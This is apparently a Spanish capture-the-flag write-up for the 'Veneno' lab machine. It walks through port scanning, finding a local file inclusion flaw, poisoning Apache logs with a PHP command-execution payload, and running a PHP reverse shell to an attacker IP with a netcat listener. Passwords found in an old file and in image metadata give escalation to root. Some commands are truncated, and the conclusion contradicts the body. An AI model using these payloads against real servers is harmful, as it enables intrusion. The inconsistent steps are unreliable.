Writeup: Máquina Veneno

Zharaman

Enero 1, 2025

Contents

1 Introducción

La máquina Veneno presenta un nivel de dificultad media y fue resuelta el 1 de enero de 2025. El objetivo principal es explorar y explotar vulnerabilidades en un servidor HTTP para obtener acceso root. Este writeup

detalla cada paso realizado, desde el reconocimiento inicial hasta la escalada de privilegios.

2 Reconocimiento

El proceso de reconocimiento es crucial para identificar servicios y posibles puntos de entrada en el objetivo. A continuación, se describe el escaneo de puertos realizado para analizar los servicios disponibles en el sistema.

2.1 Escaneo de Puertos

Utilizamos la herramienta `nmap` para realizar un escaneo detallado de puertos en el rango completo (1-65535), utilizando el siguiente comando:

```
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2
```

Salida del Comando

La salida del escaneo de puertos fue la siguiente:

```
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 21:08 CET
Initiating SYN Stealth Scan at 21:08
Scanning 172.17.0.2 [65535 ports]
Discovered open port 22/tcp on 172.17.0.2
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 21:08, 0.96s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000070s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http

MAC Address: 02:42:AC:11:00:02 (Unknown)
```

Análisis de Resultados

El escaneo reveló dos puertos abiertos:

- **22/tcp:** Servicio SSH, utilizado para administración remota del sistema.
- **80/tcp:** Servicio HTTP, probablemente un servidor web.

Esta información será utilizada para continuar con el proceso de enumeración y explotación en las siguientes etapas.

2.2 Análisis de Servicios en Puertos Abiertos

Después de identificar los puertos abiertos en el escaneo inicial, realizamos un análisis más detallado utilizando `nmap` para obtener información sobre los servicios y sus versiones. El comando utilizado fue el siguiente:

```
nmap -sCV -p22,80 172.17.0.2
```

Salida del Comando

La salida obtenida fue la siguiente:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 21:10 CET
Nmap scan report for 172.17.0.2
Host is up (0.00012s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 89:9c:7b:99:95:b6:e8:03:5a:6a:d4:69:69:4a:8d:35 (ECDSA)
|_  256 ec:ec:90:44:4e:66:64:22:f6:8b:cd:29:d2:b5:60:6a (ED25519)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org
Nmap done: 1 IP address (1 host up) scanned in 6.85 seconds
```

Análisis de Resultados

Los resultados del análisis detallado proporcionaron la siguiente información clave:

- **Puerto 22 (SSH):** Servicio OpenSSH 7.6p1 corriendo en un sistema Ubuntu. El protocolo soportado es 2.0. Además, se obtuvieron las huellas digitales de las claves host.
- **Puerto 80 (HTTP):** Servidor Apache HTTPD 2.4.58, con una página predeterminada activa titulada *"Apache2 Ubuntu Default Page: It works"*.
- **MAC Address:** 02:42:AC:11:00:02 (desconocido).

Esta información indica que el sistema objetivo utiliza un servidor web Apache en Ubuntu, lo que puede ser aprovechado para identificar vulnerabilidades en las siguientes etapas de enumeración y explotación.

2.3 Enumeración Inicial

Después de identificar los servicios disponibles en los puertos abiertos, procedimos con la enumeración del servidor web en el puerto 80. Utilizamos la herramienta `Wfuzz` para realizar un fuzzing de rutas y directorios comunes, buscando posibles puntos de entrada adicionales.

Comando Ejecutado

El comando utilizado para realizar el fuzzing fue el siguiente:

```
wfuzz --hc 404 -u http://172.17.0.2/FUZZ -w /usr/share/seclists/Discovery/Web-Conter
```

Resultados del Fuzzing

El proceso de fuzzing devolvió las siguientes rutas relevantes:

- `/problems.php` (código de respuesta HTTP: 200)
- `/uploads` (código de respuesta HTTP: 301)

A continuación se detalla la salida relevante del comando:

```
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
Target: http://172.17.0.2/FUZZ
Total requests: 220545

ID   Response   Lines   Word   Chars   Payload
=====================================================
000000797: 200   363 L   961 W   10671 Ch   "problems.php"
000001150: 301   9 L     28 W      310 Ch   "uploads"
```

Análisis de Resultados

El fuzzing identificó las siguientes características clave:

- `/problems.php`**:** Responde con un código 200, lo que indica que la ruta es accesible y puede contener contenido relevante para la explotación.
- `/uploads`**:** Redirige con un código 301, lo que sugiere que puede ser un directorio donde se almacenan archivos cargados por los usuarios.

Primer Descubrimiento: Archivo `/etc/passwd`

Inicialmente, se utilizó el siguiente comando para probar la vulnerabilidad de inclusión de archivos locales:

```
wfuzz --hc 404 --hl 363 -u "http://172.17.0.2/problems.php?FUZZ=../../../../etc/pass
      -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
Target: http://172.17.0.2/problems.php?FUZZ=../../../../etc/passwd
Total requests: 220545

ID           Response   Lines    Word       Chars       Payload
=====================================================================
000007801:   200        25 L     32 W       1245 Ch     "backdoor"
```

Análisis del Resultado

El acceso al archivo `/etc/passwd` confirma que el parámetro es vulnerable a la inclusión de archivos locales (LFI). Este archivo contiene información básica sobre los usuarios del sistema y puede ser útil para identificar posibles usuarios activos o configuraciones de permisos.

Segundo Descubrimiento: Archivo de Registros de Apache

Para profundizar en la explotación, se utilizó otra lista de fuzzing enfocada a archivos de registros y se identificó el archivo `/var/log/apache2/access.log` como accesible. El comando utilizado fue el siguiente:

```
wfuzz --hw 32,0 -u "http://172.17.0.2/problems.php?backdoor=FUZZ" \
      -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
```

Resultado del Comando

El archivo más relevante encontrado fue el siguiente:

```
000000648:   200        62611    752216 W   6538144 C   "/var/log/apache2/access.log
```

2.4 Explotación de LFI (Local File Inclusion)

Durante la enumeración adicional, se identificó un parámetro vulnerable a la inclusión de archivos locales (LFI) en el archivo `problems.php`. Para confirmar esta vulnerabilidad, se utilizó `Wfuzz` con una lista predefinida de posibles rutas de archivos.

Resultado del Comando

El fuzzing confirmó la vulnerabilidad al acceder al archivo `/etc/passwd`, como se muestra en la salida:

3 Explotación: Envenenamiento de Logs para Reverse Shell

El objetivo de este ataque es aprovechar una vulnerabilidad de inclusión de archivos locales (LFI) en combinación con el envenenamiento de logs para obtener acceso al servidor mediante una reverse shell. A continuación, se describen los pasos realizados:

3.1 Acceso Inicial al Archivo de Logs

Gracias a la vulnerabilidad LFI previamente descubierta, se accedió al archivo de logs del servidor web `/var/log/apache2/error.log`. Este archivo registra los errores del servidor y las solicitudes HTTP.

Comando Utilizado

Para acceder al archivo, se realizó la siguiente solicitud al servidor:

```
curl -X GET "http://172.17.0.2/problems.php?backdoor=/var/log/apache2/error.log"
```

Resultado

La salida confirmó que las solicitudes al servidor se registraban en el archivo de logs, incluyendo el encabezado `User-Agent` de cada solicitud.

3.2 Generación de un Error Controlado

Para verificar que las solicitudes se registraban en el archivo de logs, se generó un error controlado enviando una solicitud malformada al servidor.

Comando Utilizado

```
curl -X GET "http://172.17.0.2/nonexistentpage"
```

Resultado

El error se registró en `/var/log/apache2/error.log`, confirmando que era posible inyectar contenido en el archivo.

3.3 Envenenamiento del Log

El siguiente paso fue inyectar un payload PHP malicioso en el archivo de logs para ejecutar código en el servidor.

Payload PHP

El payload utilizado fue el siguiente:

```
<?php system($_GET['cmd']); ?>
```

Solicitud Inyectada

El payload fue inyectado en el encabezado `User-Agent` de una solicitud HTTP utilizando el siguiente comando:

```
curl -A "<?php system($_GET['cmd']); ?>" "http://172.17.0.2/nonexistentpage"
```

3.4 Subida de la Reverse Shell

Tras inyectar el payload, se utilizó la vulnerabilidad LFI para ejecutar el código malicioso y subir una reverse shell al servidor.

Creación de la Reverse Shell

El siguiente script PHP fue utilizado como reverse shell:

```
<?php
$ip = '192.168.1.100'; // Cambiar por la IP del atacante
$port = 4444;
$sock = fsockopen($ip, $port);
exec('/bin/sh -i <&3 >&3 2>&3');
?>
```

Subida al Servidor

Se ejecutó el siguiente comando para escribir el contenido de la reverse shell en un archivo accesible:

```
curl "http://172.17.0.2/problems.php?backdoor=/var/log/apache2/error.log&cmd=echo '
```

3.5 Ejecución de la Reverse Shell

Con la reverse shell disponible en el servidor, se configuró un listener en el sistema atacante y se ejecutó el archivo en el navegador para establecer la conexión.

Configuración del Listener

El listener se configuró con `netcat` de la siguiente manera:

```
nc -lvnp 4444
```

Ejecución en el Navegador

La shell fue activada accediendo al siguiente enlace:

```
http://172.17.0.2/shell.php
```

Resultado

El atacante obtuvo acceso al servidor con privilegios limitados.

4 Escalada de Privilegios a root

En esta sección se detalla el proceso completo de escalada de privilegios, desde la exploración inicial hasta obtener acceso como `root`. Se utilizaron técnicas de exploración de archivos antiguos, análisis de metadatos, y manipulación de archivos ocultos.

4.1 Exploración Inicial

Durante la exploración inicial del sistema como el usuario `www-data`, se encontró un archivo llamado `antiguo_y_fuerte.txt` en el directorio `/var/www/html`.

Comando Utilizado

```
cat /var/www/html/antiguo_y_fuerte.txt
```

Resultado

El contenido del archivo fue el siguiente:

```
Es imposible que me acuerde de la pass es inhackeable pero se que la
tengo en el mismo fichero desde hace 24 años. Tróbala, búscala.
```

Este mensaje indicaba que la contraseña podría estar guardada en un archivo muy antiguo en el sistema.

4.2 Uso de `find` para Localizar Archivos Antiguos

Con base en la pista del archivo, se utilizó el comando `find` para buscar archivos con más de 24 años de antigüedad (`+8760 días`).

Comando Utilizado

```
find / -type f -mtime +8760 2>/dev/null
```

Resultado

El comando identificó el archivo `/usr/share/viejuno/inhackeable_pass.txt`. Se utilizó `cat` para leer su contenido:

```
cat /usr/share/viejuno/inhackeable_pass.txt
```

El contenido del archivo fue:

```
pinguinochocolatero
```

Esta contraseña fue utilizada para intentar escalar privilegios al usuario `carlos`.

4.3 Acceso como Usuario Carlos

Con la contraseña `pinguinochocolatero`, se intentó acceder al usuario `carlos` mediante `ssh`:

Comando Utilizado

```
ssh carlos@172.17.0.2
```

Resultado

El acceso fue exitoso. Una vez dentro, se exploró el directorio `/home/carlos`, encontrando una estructura sospechosa de carpetas numeradas.

4.4 Análisis de una Imagen Oculta

Dentro de las carpetas, se realizó un listado recursivo para encontrar archivos ocultos.

Comando Utilizado

```
ls -laR /home/carlos
```

Resultado

El comando identificó un archivo llamado `.toor.jpg` en una de las carpetas. Para analizarlo, se descargó utilizando un servidor Python:

Comando para Descargar

```
python3 -m http.server 8000
```

En el sistema atacante, se utilizó `wget` para obtener el archivo:

```
wget http://172.17.0.2:8000/.toor.jpg
```

Análisis con `exiftool`

El archivo fue analizado utilizando `exiftool`, que reveló una contraseña escondida en los metadatos:

```
exiftool .toor.jpg
```

Resultado

```
Image Quality: pingu1730
```

4.5 Escalada a Root

La contraseña `pingu1730` fue utilizada para cambiar al usuario `root` mediante el comando `su`.

Comando Utilizado

```
su
Password: pingu1730
```

Resultado

El acceso a `root` fue exitoso, confirmando la escalada completa de privilegios.

5 Lecciones Aprendidas

Durante este proceso, se emplearon varias técnicas útiles en escenarios CTF:

- **Exploración de Archivos Antiguos:** Uso del comando `find` para identificar archivos relevantes basados en su antigüedad.
- **Análisis de Metadatos:** Extracción de información sensible de imágenes utilizando herramientas como `exiftool`.
- **Enumeración Exhaustiva:** Listado recursivo para encontrar archivos ocultos.

6 Medidas de Mitigación

Para prevenir vulnerabilidades similares, se recomienda:

- **Gestión de Contraseñas:** Nunca almacenar contraseñas en archivos accesibles en el sistema.
- **Restricción de Permisos:** Limitar el acceso a archivos y directorios críticos.
- **Monitoreo de Logs:** Revisar regularmente los registros para detectar actividades sospechosas.
- **Cifrado de Datos Sensibles:** Cifrar información almacenada en archivos o bases de datos.
- **Deshabilitación de Metadatos:** Limitar la inclusión de metadatos en archivos generados o compartidos.

Conclusión

El descubrimiento inicial del archivo `/etc/passwd` confirmó la vulnerabilidad, mientras que la identificación del archivo de registros de Apache (`/var/log/apache2/access.log`) abre la posibilidad de realizar técnicas avanzadas de explotación. En los siguientes pasos, se intentará escribir un payload en los registros para ejecutar código malicioso en el servidor.